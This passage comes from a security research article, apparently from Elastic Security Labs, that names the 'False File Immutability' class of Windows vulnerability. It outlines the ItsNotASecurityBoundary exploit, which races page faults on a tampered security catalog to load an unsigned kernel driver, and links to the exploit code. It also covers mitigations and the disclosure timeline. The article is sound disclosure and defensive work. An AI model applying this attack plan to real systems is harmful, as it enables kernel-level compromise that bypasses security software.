fix](https://www.elastic.co/security-labs/forget-vulnerable-drivers-admin-is-all-you-need) because it did not meet their [servicing criteria](https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria). Thankfully, the Windows Defender team at Microsoft stepped up, [releasing a fix](https://x.com/GabrielLandau/status/1757818200127946922) in February 2024 that enforces dynamic page hashes for executable images loaded over network redirectors, breaking PPLFault.\n\n\n## New research\n\nAbove, we discussed Authenticode signatures embedded within PE files. In addition to embedded signatures, Windows supports a form of detached signature called a [security catalog](https://learn.microsoft.com/en-us/windows-hardware/drivers/install/catalog-files). Security catalogs (.cat files) are essentially a list of signed authentihashes. Every PE with an authentihash in that list is considered to be signed by that signer. Windows keeps a large collection of catalog files in ```C:\\Windows\\System32\\CatRoot``` which CI loads, validates, and caches.\n\n\n\n\n\nA typical Windows system has over a thousand catalog files, many containing dozens or hundreds of authentihashes.\n\n\n\nTo use a security catalog, Code Integrity must first load it. This occurs in a few discrete steps. First, CI maps the file into kernel memory using **ZwOpenFile**, **ZwCreateSection**, and **ZwMapViewOfSection**. Once mapped, it validates the catalog’s digital signature using **CI!MinCrypK_VerifySignedDataKModeEx**. If the signature is valid, it parses the hashes with **CI!I_MapFileHashes**.\n\n\n\nBreaking this down, we see a few key insights. First, **ZwCreateSection(SEC_COMMIT)** tells us that CI is creating a data section, not an image section. This is important because there is no concept of page hashes for data sections.\n\nNext, the file is opened without **FILE_SHARE_WRITE**, meaning write sharing is denied. This is intended to prevent modification of the security catalog during processing. However, as we have shown above, this is a bad assumption and another example of False File Immutability. It should be possible, in theory, to perform a PPLFault-style attack on security catalog processing.\n\n\n### Planning the attack\n\n\n\nThe general flow of the attack is as follows:\n 1. The attacker will plant a security catalog on a storage device that they control. They will install a symbolic link to this catalog in the ```CatRoot``` directory, so Windows knows where to find it.\n 2. The attacker asks the kernel to load a malicious unsigned kernel driver.\n 3. Code Integrity attempts to validate the driver, but it can’t find a signature or trusted authentihash, so it re-scans the CatRoot directory and finds the attacker’s new catalog.\n 4. CI maps the catalog into kernel memory and validates its signature. This generates page faults which are sent to the attacker’s storage device. The storage device returns a legitimate Microsoft-signed catalog.\n 5. The attacker empties the system working set, forcing all the previously-fetched catalog pages to be discarded.\n 6. CI begins parsing the catalog, generating new page faults. This time, the storage device injects the authentihash of their malicious driver.\n 7. CI finds the malicious driver’s authentihash in the catalog and loads the driver. At this point, the attacker has achieved arbitrary code execution in the kernel.\n\n\n### Implementation and considerations\n\nThe plan is to use a PPLFault-style attack, but there are some important differences in this situation. PPLFault used an [opportunistic lock](https://learn.microsoft.com/en-us/windows/win32/fileio/opportunistic-locks) (oplock) to deterministically freeze the victim process’s initialization. This gave the attacker time to switch over to the payload and flush the system working set. Unfortunately, we couldn’t find any good opportunities for oplocks here. Instead, we’re going to pursue a probabilistic approach: rapidly toggling the security catalog between the malicious and benign versions.\n\n\n\nThe verification step touches every page of the catalog, which means all of those pages will be resident in memory when parsing begins. If the attacker changes the catalog on their storage device, it won’t be reflected in memory until after a subsequent page fault. To evict these pages from kernel memory, the attacker must empty the working set between **MinCrypK_VerifySignedDataKModeEx** and **I_MapFileHashes**.\n\nThis approach is inherently a race condition. There’s no built-in delays between signature verification and catalog parsing - it’s a tight race. We’ll need to employ several techniques to widen our window of opportunity.\n\nMost security catalogs on the system are small, a few kilobytes. By choosing a large 4MB catalog, we can greatly increase the amount of time that CI spends parsing. Assuming catalog parsing is linear, we can choose an authentihash near the end of the catalog to maximize the time between signature verification and when CI reaches our tampered page. Further, we will create threads for each CPU on the system whose sole purpose is to consume CPU cycles. These threads run at higher priority than CI, so CI will be starved of CPU time. There will be one thread dedicated to repeatedly flushing pages from the system’s working set, and one thread repeatedly attempting to load the unsigned driver.\n\nThis attack has two main failure modes. First, if the payload Authentihash is read during the signature check, then the signature will be invalid and the catalog will be rejected.\n\n\n\nNext, if an even number of toggles occur (including zero) between signature validation and parsing, then CI will parse the benign hash and reject our driver.\n\n\n\nThe attacker wins if CI validates a benign catalog then parses a malicious one.\n\n\n\n\n### Exploit demo\n\nWe named the exploit **ItsNotASecurityBoundary** as an homage to MSRC's [policy](https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria) that \"Administrator-to-kernel is not a security boundary.” The code is in GitHub [here](https://github.com/gabriellandau/ItsNotASecurityBoundary).\n\nDemo video [here](https://drive.google.com/file/d/13Uw38ZrNeYwfoIuD76qlLgyXP8kRc8Nz/view?usp=sharing).\n\n\n## Understanding these vulnerabilities\n\nIn order to properly defend against these vulnerabilities, we first need to understand them better.\n\nA double-read (aka double-fetch) vulnerability can occur when victim code reads the same value out of an attacker-controlled buffer more than once. The attacker may change the value of this buffer between the reads, resulting in unexpected victim behavior.\n\nImagine there is a page of memory shared between two processes for an IPC mechanism. The client and server send data back and forth using the following struct. To send an IPC request, a client first writes a request struct into the shared memory page, then signals an event to notify the server of a pending request.\n\n``` c\nstruct IPC_PACKET\n{\n SIZE_T length;\n UCHAR data[];\n};\n```\n\nA double-read attack could look something like this:\n\n\n\nFirst, the attacking client sets a packet’s structure’s length field to 16 bytes, then signals the server to indicate that a packet is ready for processing. The victim server wakes up and allocates a 16-byte buffer using ```malloc(pPacket-\u003elength)```. Immediately afterwards, the attacker changes the length field to 32. Next, the victim server attempts to copy the packet’s contents into the the new buffer by calling ```memcpy(pBuffer, pPacket-\u003edata, pPacket-\u003elength)```, re-reading the value in ```pPacket-\u003elength```, which is now 32. The victim ends up copying 32 bytes into a 16-byte buffer, overflowing it.\n\nDouble-read vulnerabilities frequently apply to shared-memory scenarios. They commonly occur in drivers that operate on user-writable buffers. Due to False File Immutability, developers need to be aware that their scope is actually much wider, and includes all files writable by attackers. Denying write sharing does not necessarily prevent file modification.\n\n\n### Affected Operations\n\nWhat types of operations are affected by False File Immutability?\n\n| Operation | API | Mitigations |\n| ----- | ----- | ----- |\n| Image Sections | **CreateProcess** **LoadLibrary** | 1. Enable Page Hashes |\n| Data Sections | **MapViewOfFile** **ZwMapViewOfSection** | 1. Avoid double reads\\ 2. Copy the file to a heap buffer before processing\\ 3. Prevent paging via MmProbeAndLockPages/VirtualLock |\n| Regular I/O | **ReadFile** **ZwReadFile** | 1. Avoid double reads\\ 2. Copy the file to a heap buffer before processing |\n\n\n### What else could be vulnerable?\n\nLooking for potentially-vulnerable calls to **ZwMapViewOfSection** in the NT kernel yields quite a few interesting functions:\n\n\n\nIf we expand our search to regular file I/O, we find even more candidates. An important caveat, however, is that **ZwReadFile** may be used for more than just files. Only uses on files (or those which could be coerced into operating on files) could be vulnerable.\n\n\n\nLooking outside of the NT kernel, we can find other drivers to investigate:\n\n\n\n\n\n\n### Don’t forget about user mode\n\nWe’ve mostly been discussing the kernel up to this point, but it’s important to note that any user mode application that calls **ReadFile**, **MapViewOfFile**, or **LoadLibrary** on an attacker-controllable file, denying write sharing for immutability, may be vulnerable. Here’s a few hypothetical examples.\n\n\n#### MapViewOfFile\n\nImagine an application that is split into two components - a low-privileged worker process with network access, and a privileged service that installs updates. The worker downloads updates and stages them to a specific folder. When the privileged service sees a new update staged, it first validates the signature before installing the update. An attacker could abuse FFI to modify the update after the signature check.\n\n\n#### ReadFile\n\nSince files are subject to double-read vulnerabilities, anything that parses complex file formats may be vulnerable, including antivirus engines and search indexers.\n\n\n#### LoadLibrary\n\nSome applications rely on UMCI to prevent attackers from loading malicious DLLs into their processes. As we’ve shown with PPLFault, FFI can defeat UMCI.\n\n\n## Stopping the exploit\n\nPer their official servicing guidelines, MSRC won’t service Admin -\u003e Kernel vulnerabilities by default. In this parlance, servicing means “fix via security update.” This type of vulnerability, however, allows malware to bypass [AV Process Protections](https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-), leaving AV and EDR vulnerable to instant-kill attacks.\n\nAs a third-party, we can’t patch Code Integrity, so what can we do to protect our customers? To mitigate **ItsNotASecurityBoundary**, we created **FineButWeCanStillEasilyStopIt**, a filesystem minifilter driver that prevents Code Integrity from opening security catalogs over network redirectors. You can find it on GitHub [here](https://github.com/gabriellandau/ItsNotASecurityBoundary/tree/main/FineButWeCanStillEasilyStopIt). \n\nFineButWeCanStillEasilyStopIt has to jump through some hoops to correctly identify the problematic behavior while minimizing false positives. Ideally, CI itself could be fixed with a few small changes. Let’s look at what that would take.\n\n\n\nAs mentioned above in the Affected Operations section, applications can mitigate double-read vulnerabilities by copying the file contents out of the file mapping into the heap, and exclusively using that heap copy for all subsequent operations. The kernel heap is called the [pool](https://learn.microsoft.com/en-us/windows/win32/memory/memory-pools), and the corresponding allocation function is **ExAllocatePool**.\n\n\n\nAn alternative mitigation strategy to break these types of exploits is to pin the pages of the file mapping into physical memory using an API such as **MmProbeAndLockPages**. This prevents eviction of those pages when the attacker empties the working set.\n\n\n### End-user detection and mitigation\n\nFortunately, there is a way for end-users to mitigate this exploit without changes from Microsoft – Hypervisor Protected Code Integrity (HVCI). If HVCI is enabled, CI.dll doesn’t do catalog parsing at all. Instead, it sends the catalog contents to the Secure Kernel, which runs in a separate virtual machine on the same host. The Secure Kernel stores the received catalog contents in its own heap, from which signature validation and parsing are performed. Just like with the **ExAllocatePool** mitigation described above, the exploit is mitigated because file changes have no effect on the heap copy.\n\nThe probabilistic nature of this attack means that there are likely many failed attempts. Windows records these failures in the **Microsoft-Windows-CodeIntegrity/Operational** event log. Users can check this log for evidence of exploitation.\n\n\n\n\n\n\n## Disclosure\n\nThe disclosure timeline is as follows:\n - 2024-02-14: We reported ItsNotASecurityBoundary and FineButWeCanStillEasilyStopIt to MSRC as VULN-119340, suggesting **ExAllocatePool** and **MmProbeAndLockPages** as simple low-risk fixes\n - 2024-02-29: The Windows Defender team reached out to coordinate disclosure\n - 2024-04-23: Microsoft releases [KB5036980](https://support.microsoft.com/en-us/topic/april-23-2024-kb5036980-os-builds-22621-3527-and-22631-3527-preview-5a0d6c49-e42e-4eb4-8541-33a7139281ed) Preview with the **MmProbeAndLockPages** fix\n - 2024-05-14: Fix reaches GA for Windows 11 23H2 as [KB5037771](https://support.microsoft.com/en-us/topic/may-14-2024-kb5037771-os-builds-22621-3593-and-22631-3593-e633ff2f-a021-4abb-bd2e-7f3687f166fe); we have not tested any other platforms (Win10, Server, etc).\n - 2024-06-14: MSRC closed the case, stating \"We have completed our investigation and determined that the case doesn't meet our bar for servicing at this time. As a result, we have opened a next-version candidate bug for the issue, and it will be evaluated for upcoming releases. Thanks, again, for sharing this report with us.\"\n\n\n## Fixing Code Integrity\n\nLooking at the original implementation of **CI!I_MapAndSizeDataFile**, we can see the legacy code calling **ZwCreateSection** and **ZwMapViewOfSection**:\n\n\n\nContrast that with the new **CI!CipMapAndSizeDataFileWithMDL**, which follows that up with **MmProbeAndLockPages**:\n\n\n\n\n## Summary and conclusion\n\nToday we discussed and named a bug class: **False File Immutability**. We are aware of two public exploits that leverage it, PPLFault and ItsNotASecurityBoundary.\n\n[PPLFault](https://github.com/gabriellandau/PPLFault): Admin -\u003e PPL [-\u003e Kernel via GodFault]\n - Exploits bad immutability assumptions about image section in CI/MM\n - Reported September 2022\n - Patched February 2024 (~510 days later)\n\n[ItsNotASecurityBoundary](https://github.com/gabriellandau/ItsNotASecurityBoundary): Admin -\u003e Kernel\n - Exploits bad immutability assumptions about data sections in CI\n - Reported February 2024\n - Patched May 2024 (~90 days later)\n\nIf you are writing Windows code that operates on files, you need to be aware of the fact these files may be modified while you are working on them, even if you deny write sharing. See the Affected Operations section above for guidance on how to protect yourselves and your customers against these types of attacks.\n\nItsNotASecurityBoundary is not the end of FFI. There are other exploitable FFI vulnerabilities out there. My colleagues and I at Elastic Security Labs will continue exploring and reporting on FFI and beyond. We encourage you to follow along on X [@GabrielLandau](https://x.com/GabrielLandau) and [@ElasticSecLabs](https://x.com/elasticseclabs).\n","code":"var Component=(()=\u003e{var d=Object.create;var r=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var u=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),w=(t,e)=\u003e{for(var n in e)r(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of g(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026r(t,a,{get:()=\u003ee[a],enumerable:!(s=p(e,a))||s.enumerable});return t};var y=(t,e,n)=\u003e(n=t!=null?d(m(t)):{},o(e||!t||!t.__esModule?r(n,\"default\",{value:t,enumerable:!0}):n,t)),b=t=\u003eo(r({},\"__esModule\",{value:!0}),t);var c=u((F,l)=\u003e{l.exports=_jsx_runtime});var P={};w(P,{default:()=\u003eI,frontmatter:()=\u003ev});var i=y(c()),v={title:\"Introducing a New Vulnerability Class: False File Immutability\",slug:\"false-file-immutability\",date:\"2024-07-11\",description:\"This article introduces a previously-unnamed class of Windows vulnerability that demonstrates the dangers of assumption and describes some unintended security consequences.\",author:[{slug:\"gabriel-landau\"}],image:\"Security Labs Images 36.jpg\",category:[{slug:\"security-research\"},{slug:\"vulnerability-updates\"}]};function h(t){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",strong:\"strong\",pre:\"pre\",code:\"code\",blockquote:\"blockquote\",h3:\"h3\",img:\"img\",ul:\"ul\",li:\"li\",em:\"em\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\",ol:\"ol\",h4:\"h4\"},t.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h2,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,i.jsx)(e.p,{children:\"This article will discuss a previously-unnamed vulnerability class in Windows, showing how long-standing incorrect assumptions in the design of core Windows features can result in both undefined behavior and security vulnerabilities. We will demonstrate how one such vulnerability in the Windows 11 kernel can be exploited to achieve arbitrary code execution with kernel privileges.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"windows-file-sharing\",children:\"Windows file sharing\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"When an application opens a file on Windows, it typically uses some form of the Win32 \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew\",rel:\"nofollow\",children:(0,i.jsx)(e.strong,{children:\"CreateFile\"})}),\" API.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-c++\",children:`HANDLE CreateFileW(\n [in] LPCWSTR lpFileName,\n [in] DWORD dwDesiredAccess,\n [in] DWORD dwShareMode,\n [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,\n [in] DWORD dwCreationDisposition,\n [in] DWORD dwFlagsAndAttributes,\n [in, optional] HANDLE hTemplateFile\n);\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Callers of \",(0,i.jsx)(e.strong,{children:\"CreateFile\"}),\" specify the access they want in \",(0,i.jsx)(e.strong,{children:\"dwDesiredAccess\"}),\". For example, a caller would pass \",(0,i.jsx)(e.strong,{children:\"FILE_READ_DATA\"}),\" to be able to read data, or \",(0,i.jsx)(e.strong,{children:\"FILE_WRITE_DATA\"}),\" to be able to write data. The full set of access rights are \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/fileio/file-access-rights-constants\",rel:\"nofollow\",children:\"documented\"}),\" on the Microsoft Learn website.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"In addition to passing \",(0,i.jsx)(e.strong,{children:\"dwDesiredAccess\"}),\", callers must pass a \\u201Csharing mode\\u201D in \",(0,i.jsx)(e.strong,{children:\"dwShareMode\"}),\", which consists of zero or more of \",(0,i.jsx)(e.strong,{children:\"FILE_SHARE_READ\"}),\", \",(0,i.jsx)(e.strong,{children:\"FILE_SHARE_WRITE\"}),\", and \",(0,i.jsx)(e.strong,{children:\"FILE_SHARE_DELETE\"}),\". You can think of a sharing mode as the caller declaring \\u201CI\\u2019m okay with others doing X to this file while I\\u2019m using it,\\u201D where X could be reading, writing, or renaming. For example, a caller that passes \",(0,i.jsx)(e.strong,{children:\"FILE_SHARE_WRITE\"}),\" allows others to write the file while they are working with it.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"As a file is opened, the caller\\u2019s \",(0,i.jsx)(e.strong,{children:\"dwDesiredAccess\"}),\" is tested against the \",(0,i.jsx)(e.strong,{children:\"dwShareMode\"}),\" of all existing file handles. Simultaneously, the caller\\u2019s \",(0,i.jsx)(e.strong,{children:\"dwShareMode\"}),\" is tested against the previously-granted \",(0,i.jsx)(e.strong,{children:\"dwDesiredAccess\"}),\" of all existing handles to that file. If either of these tests fail, then \",(0,i.jsx)(e.strong,{children:\"CreateFile\"}),\" fails with a sharing violation.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Sharing isn\\u2019t mandatory. Callers can pass a share mode of zero to obtain exclusive access. Per Microsoft \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/fileio/creating-and-opening-files\",rel:\"nofollow\",children:\"documentation\"}),\":\"]}),`\n`,(0,i.jsxs)(e.blockquote,{children:[`\n`,(0,i.jsx)(e.p,{children:\"An open file that is not shared (dwShareMode set to zero) cannot be opened again, either by the application that opened it or by another application, until its handle has been closed. This is also referred to as exclusive access.\"}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"sharing-enforcement\",children:\"Sharing enforcement\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"In the kernel, sharing is enforced by filesystem drivers. As a file is opened, it\\u2019s the responsibility of the filesystem driver to call \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iocheckshareaccess\",rel:\"nofollow\",children:(0,i.jsx)(e.strong,{children:\"IoCheckShareAccess\"})}),\" or \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iochecklinkshareaccess\",rel:\"nofollow\",children:(0,i.jsx)(e.strong,{children:\"IoCheckLinkShareAccess\"})}),\" to see whether the requested \",(0,i.jsx)(e.strong,{children:\"DesiredAccess\"}),\"/\",(0,i.jsx)(e.strong,{children:\"ShareMode\"}),\" tuple is compatible with any existing handles to the file being opened. \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview\",rel:\"nofollow\",children:\"NTFS\"}),\" is the primary filesystem on Windows, but it\\u2019s closed-source, so for illustrative purposes we\\u2019ll instead look at Microsoft\\u2019s FastFAT sample code performing \",(0,i.jsx)(e.a,{href:\"https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L6822-L6884\",rel:\"nofollow\",children:\"the same check\"}),\". Unlike an IDA decompilation, it even comes with comments!\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-c++\",children:`//\n// Check if the Fcb has the proper share access.\n//\n\nreturn IoCheckShareAccess( *DesiredAccess,\n ShareAccess,\n FileObject,\n \u0026FcbOrDcb-\u003eShareAccess,\n FALSE );\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"In addition to traditional read/write file operations, Windows lets applications map files into memory. Before we go deeper, it\\u2019s important to understand that \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views\",rel:\"nofollow\",children:\"section objects\"}),\" are kernel parlance for \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/memory/file-mapping\",rel:\"nofollow\",children:\"file mappings\"}),\"; they are the same thing. This article focuses on the kernel, so it will primarily refer to them as section objects.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"There are two types of section objects - data sections and executable image sections. Data sections are direct 1:1 mappings of files into memory. The file\\u2019s contents will appear in memory exactly as they do on disk. Data sections also have uniform memory permissions for the entire memory range. With respect to the underlying file, data sections can be either read-only or read-write. A read-write view of a file enables a process to read or write the file\\u2019s contents by reading/writing memory within its own address space.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Executable image sections (sometimes abbreviated to image sections) prepare \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/debug/pe-format\",rel:\"nofollow\",children:\"PE files\"}),\" to be executed. Image sections must be created from PE files. Examples of PE files include EXE, DLL, SYS, CPL, SCR, and OCX files. The kernel processes the PEs specially to prepare them to be executed. Different PE regions will be mapped in memory with different page permissions, depending on their metadata. Image views are \",(0,i.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Copy-on-write\",rel:\"nofollow\",children:\"copy-on-write\"}),\", meaning any changes in memory will be saved to the process\\u2019s private working set \\u2014 never written to the backing PE.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Let\\u2019s say application A wants to map a file into memory with a data section. First, it opens that file with an API such as \",(0,i.jsx)(e.strong,{children:\"ZwCreateFile\"}),\", which returns a file handle. Next, it passes this file handle to an API such as \",(0,i.jsx)(e.strong,{children:\"ZwCreateSection\"}),\" which creates a section object that describes how the file will be mapped into memory; this yields a section handle. The process then uses the section handle to map a \\u201Cview\\u201D of that section into the process address space, completing the memory mapping.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image9.png\",alt:\"Diagram showing how a file is mapped into memory\",width:\"1440\",height:\"308\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Once the file is successfully mapped, process A can close both the file and section handles, leaving zero open handles to the file. If process B later wants to use the file without the risk of it being modified externally, it would omit \",(0,i.jsx)(e.strong,{children:\"FILE_SHARE_WRITE\"}),\" when opening the file. \",(0,i.jsx)(e.strong,{children:\"IoCheckLinkShareAccess\"}),\" looks for open file handles, but since the handles were previously closed, it will not fail the operation.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"This creates a problem for file sharing. Process B thinks it has a file open without risk of external modification, but process A can modify it through the memory mapping. To account for this, the filesystem must also call \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-mmdoesfilehaveuserwritablereferences\",rel:\"nofollow\",children:(0,i.jsx)(e.strong,{children:\"MmDoesFileHaveUserWritableReferences\"})}),\". This checks whether there are any active writable file mappings to the given file. We can see this check in the FastFAT example \",(0,i.jsx)(e.a,{href:\"https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L6858-L6870\",rel:\"nofollow\",children:\"here\"}),\":\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-c++\",children:`//\n// Do an extra test for writeable user sections if the user did not allow\n// write sharing - this is neccessary since a section may exist with no handles\n// open to the file its based against.\n//\n\nif ((NodeType( FcbOrDcb ) == FAT_NTC_FCB) \u0026\u0026\n !FlagOn( ShareAccess, FILE_SHARE_WRITE ) \u0026\u0026\n FlagOn( *DesiredAccess, FILE_EXECUTE | FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | DELETE | MAXIMUM_ALLOWED ) \u0026\u0026\n MmDoesFileHaveUserWritableReferences( \u0026FcbOrDcb-\u003eNonPaged-\u003eSectionObjectPointers )) {\n\n return STATUS_SHARING_VIOLATION;\n}\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Windows requires PE files to be immutable (unmodifiable) while they are running. This prevents EXEs and DLLs from being changed on disk while they are running in memory. Filesystem drivers must use the \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-mmflushimagesection\",rel:\"nofollow\",children:(0,i.jsx)(e.strong,{children:\"MmFlushImageSection\"})}),\" function to check whether there are any active image mappings of a PE before allowing \",(0,i.jsx)(e.strong,{children:\"FILE_WRITE_DATA\"}),\" access. We can see this in the \",(0,i.jsx)(e.a,{href:\"https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593\",rel:\"nofollow\",children:\"FastFAT example code\"}),\", and on \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/executable-images\",rel:\"nofollow\",children:\"Microsoft Learn\"}),\".\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-c++\",children:`//\n// If the user wants write access access to the file make sure there\n// is not a process mapping this file as an image. Any attempt to\n// delete the file will be stopped in fileinfo.c\n//\n// If the user wants to delete on close, we must check at this\n// point though.\n//\n\nif (FlagOn(*DesiredAccess, FILE_WRITE_DATA) || DeleteOnClose) {\n\n Fcb-\u003eOpenCount += 1;\n DecrementFcbOpenCount = TRUE;\n\n if (!MmFlushImageSection( \u0026Fcb-\u003eNonPaged-\u003eSectionObjectPointers,\n MmFlushForWrite )) {\n\n Iosb.Status = DeleteOnClose ? STATUS_CANNOT_DELETE :\n STATUS_SHARING_VIOLATION;\n try_return( Iosb );\n }\n}\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Another way to think of this check is that \",(0,i.jsx)(e.strong,{children:\"ZwMapViewOfSection(SEC_IMAGE)\"}),\" implies no-write-sharing as long as the view exists.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"authenticode\",children:\"Authenticode\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The \",(0,i.jsx)(e.a,{href:\"https://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/authenticode_pe.docx\",rel:\"nofollow\",children:\"Windows Authenticode Specification\"}),\" describes a way to employ cryptography to \\u201Csign\\u201D PE files. A \\u201Cdigital signature\\u201D cryptographically attests that the PE was produced by a particular entity. Digital signatures are tamper-evident, meaning that any material modification of signed files should be detectable because the digital signature will no longer match. Digital signatures are typically appended to the end of PE files.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image19.png\",alt:\"Authenticode specification diagram showing a signature embedded within a PE\",width:\"864\",height:\"1024\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Authenticode can\\u2019t apply traditional hashing (e.g. \",(0,i.jsx)(e.strong,{children:\"sha256sum\"}),\") in this case, because the act of appending the signature would change the file\\u2019s hash, breaking the signature it just generated. Instead, the Authenticode specification describes an algorithm to skip specific portions of the PE file that will be changed during the signing process. This algorithm is called \",(0,i.jsx)(e.strong,{children:\"authentihash\"}),\". You can use authentihash with any hashing algorithm, such as SHA256. When a PE file is digitally signed, the file\\u2019s authentihash is what\\u2019s actually signed.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"code-integrity\",children:\"Code integrity\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Windows has a few different ways to validate Authenticode signatures. User mode applications can call \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/wintrust/nf-wintrust-winverifytrust\",rel:\"nofollow\",children:(0,i.jsx)(e.strong,{children:\"WinVerifyTrust\"})}),\" to validate a file\\u2019s signature in user mode. The Code Integrity (CI) subsystem, residing in \",(0,i.jsx)(e.code,{children:\"ci.dll\"}),\", validates signatures in the kernel. If \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard\",rel:\"nofollow\",children:\"Hypervisor-Protected Code Integrity\"}),\" is running, the Secure Kernel employs \",(0,i.jsx)(e.code,{children:\"skci.dll\"}),\" to validate Authenticode. This article will focus on Code Integrity (\",(0,i.jsx)(e.code,{children:\"ci.dll\"}),\") in the regular kernel.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Code Integrity provides both Kernel Mode Code Integrity and User Mode Code Integrity, each serving a different set of functions.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Kernel Mode Code Integrity (KMCI):\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Enforces \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/install/driver-signing\",rel:\"nofollow\",children:\"Driver Signing Enforcement\"}),\" and the \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/microsoft-recommended-driver-block-rules#microsoft-vulnerable-driver-blocklist\",rel:\"nofollow\",children:\"Vulnerable Driver Blocklist\"})]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"User Mode Code Integrity (UMCI):\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"CI validates the signatures of EXEs and DLLs before allowing them to load\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"Enforces \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/security/threat-protection/overview-of-threat-mitigations-in-windows-10#protected-processes\",rel:\"nofollow\",children:\"Protected Processes and Protected Process Light\"}),\" signature requirements\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Enforces \",(0,i.jsx)(e.strong,{children:\"ProcessSignaturePolicy\"}),\" mitigation (\",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setprocessmitigationpolicy\",rel:\"nofollow\",children:(0,i.jsx)(e.strong,{children:\"SetProcessMitigationPolicy\"})}),\")\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Enforces \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/cpp/build/reference/integritycheck-require-signature-check?view=msvc-170\",rel:\"nofollow\",children:\"INTEGRITYCHECK\"}),\" for 